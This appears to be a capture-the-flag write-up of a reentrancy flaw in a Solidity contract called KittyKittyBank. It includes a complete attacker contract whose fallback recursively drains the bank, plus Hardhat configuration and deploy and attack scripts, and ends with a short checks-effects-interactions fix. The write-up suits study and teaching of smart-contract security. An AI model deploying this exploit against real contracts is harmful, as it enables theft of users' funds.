The KittyKittyBank contract was written in Solidity, which allows users to send and withdraw ether (ETH) from the contract. In this blog post, I am providing a deep-dive into the details of the issue, and how it was exploited.
Contract Overview
Let's first examine the structure of the contract:
pragma solidity ^0.6.0;
contract KittyKittyBank {
mapping(address => uint) public kittykittycats;
constructor() public payable { }
function sendKitties() public payable {
kittykittycats[msg.sender] += msg.value;
}
function pullbackKitties() public {
uint kittens = kittykittycats[msg.sender];
msg.sender.call.value(kittens)("");
kittykittycats[msg.sender] = 0;
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
Looking at the contract, we can see the following functions:
sendKitties(): Allows users to deposit ether into the contract. The amount deposited is stored in the
kittykittycats
mapping.pullbackKitties(): Allows users to withdraw their deposited ether. The contract sends the ether back to the user and updates the user's balance to zero.
getBalance(): Returns the contract's current balance.
Looking at the pullbackKitties() function, we can see that it has a vulnerability that allows for a reentrancy attack.
The Exploit: Reentrancy Attack
The vulnerability in the KittyKittyBank contract arises from how ether is transferred back to the user in the pullbackKitties() function. The contract uses msg.sender.call
.value(kittens)("")
to send the ether back to the user. This method of transferring ether is dangerous because it allows the recipient to execute code in response to receiving ether. If the recipient is a contract, it can call functions in the sending contract before the state is updated.
This vulnerability is known as a reentrancy attack.
In a reentrancy attack, the user’s fallback function (or a contract they control) can be triggered when ether is sent back to the user. If this fallback function interacts with the pullbackKitties() function again, it could call pullbackKitties() recursively before the contract’s state is updated. This means the contract could unintentionally send more ether than it should, even draining its entire balance.
In this case, the attacker can exploit the reentrancy vulnerability to withdraw more ether than they initially deposited, draining the contract's balance. Here’s a step-by-step breakdown of how the exploit works:
The attacker deposits ether into the contract using the
sendKitties()
function.The attacker calls the
pullbackKitties()
function to withdraw the deposited ether.During the withdrawal, the contract sends the ether back to the attacker using
msg.sender.call
.value(kittens)("")
.The attacker’s fallback function is triggered, allowing them to call
pullbackKitties()
again before the contract’s state is updated.The attacker continues to recursively call
pullbackKitties()
, draining the contract’s balance until all funds are stolen.The attacker can drain the contract's balance by repeatedly calling
pullbackKitties()
before the contract's state is updated.The attacker can withdraw more ether than they initially deposited, causing financial loss to legitimate users.
The contract is vulnerable to reentrancy attacks due to the insecure ether transfer mechanism and the state update after the external call.
Crafting the Attacker Contract
To solve this challenge, we need to craft an attacker contract that exploits the reentrancy vulnerability in the KittyKittyBank contract. The attacker contract will deposit ether into the KittyKittyBank contract and then exploit the reentrancy vulnerability to drain the contract's funds.
Below is the contract I used to exploit the vulnerability:
pragma solidity ^0.6.0;
interface IKittyKittyBank {
function sendKitties() external payable;
function pullbackKitties() external;
}
contract Attacker {
IKittyKittyBank public target;
address public owner;
constructor(address _target) public {
target = IKittyKittyBank(_target);
owner = msg.sender;
}
function fundAttack() external payable {
require(msg.sender == owner, "Only owner can fund");
target.sendKitties.value(msg.value)();
}
function startAttack() external {
require(msg.sender == owner, "Only owner can start attack");
target.pullbackKitties();
}
fallback() external payable {
if (address(target).balance >= 1 ether) {
target.pullbackKitties();
}
}
function withdraw() external {
require(msg.sender == owner, "Only owner can withdraw");
msg.sender.transfer(address(this).balance);
}
}
This contract would deposit ether into the KittyKittyBank
contract and then exploit the reentrancy vulnerability to drain the contract's funds.
Running the Exploit
We already had the KittyKittyBank contract deployed on the network.
We deployed the Attacker contract and passed the address of the KittyKittyBank contract as a parameter.
We funded the attacker contract with some ether using the
fundAttack()
function.We started the attack using the
startAttack()
function.The attacker contract exploited the reentrancy vulnerability in the KittyKittyBank contract, draining its funds.
We successfully drained the funds from the KittyKittyBank contract using the reentrancy attack.
Configuring the Hardhat Environment
Place the following configuration in the hardhat.config.js
file to connect to the custom network:
require("@nomicfoundation/hardhat-toolbox");
/** @type import('hardhat/config').HardhatUserConfig */
module.exports = {
solidity: "0.6.0",
networks: {
customNetwork: {
url: "RPC_URL",
accounts: ["0xYOUR_PRIVATE_KEY"],
},
}
};
Compiling the Attacker Contract
For that, the above contract can be copied into the contracts/
directory and compiled using Hardhat:
npx hardhat compile
Deploying the Attacker Contract
The attacker contract can be deployed using the following script:
const { ethers } = require("hardhat");
async function main() {
const targetAddress = ""; // target address of KittyKittyBank contract
const Attacker = await ethers.getContractFactory("Attacker");
const attacker = await Attacker.deploy(targetAddress);
await attacker.waitForDeployment();
await attacker.getAddress().then((address) => {
console.log("Attacker deployed to:", address); // print the address of the deployed attacker contract
});
}
main().catch((error) => {
console.error(error);
process.exitCode = 1;
});
After saving the script in the scripts/
directory, it can be executed using Hardhat:
npx hardhat run scripts/deploy.js --network customNetwork
Starting the Attack
The attack can be initiated using the following script:
const { ethers } = require("hardhat");
async function main() {
const [deployer] = await ethers.getSigners();
const attackerAddress = ""; // Attacker contract address
const Attacker = await ethers.getContractFactory("Attacker");
const attacker = await Attacker.attach(attackerAddress);
console.log("Funding attacker contract...");
await attacker.fundAttack({ value: ethers.parseEther("1") });
console.log("Attacker funded");
console.log("Starting attack...");
await attacker.startAttack();
console.log("Attack executed");
console.log("Withdrawing funds...");
await attacker.withdraw();
console.log("Funds withdrawn to deployer address");
console.log("Attacker balance:", ethers.formatEther(await deployer.getAddress().then((address) => ethers.provider.getBalance(address))));
}
main().catch((error) => {
console.error(error);
process.exitCode = 1;
});
After saving the script in the scripts/
directory, it can be executed using Hardhat:
npx hardhat run scripts/attack.js --network customNetwork
Detailed Explanation
This vulnerability exists because of the following issues:
Insecure ether transfer mechanism: Using
call.value()
to send ether is dangerous, as it doesn't guarantee that the transaction will succeed without triggering external code (like a malicious fallback function). This can lead to reentrancy problems if the recipient is a contract that can execute code in response to receiving ether.State update after the external call: The contract's state (
kittykittycats[msg.sender] = 0;
) is updated after the external ether transfer. This is problematic because, in a reentrancy attack, the attacker can exploit the contract before its state is updated. The contract should first update the state (mark the withdrawal) and then send ether.
Mitigation Strategies
To prevent reentrancy attacks, the contract should be updated to follow best practices for secure smart contract development. What I will suggest is to use "checks-effects-interactions" pattern to prevent reentrancy attacks. Where one should first check the conditions and inputs, second update the state, and finally interact with external contracts.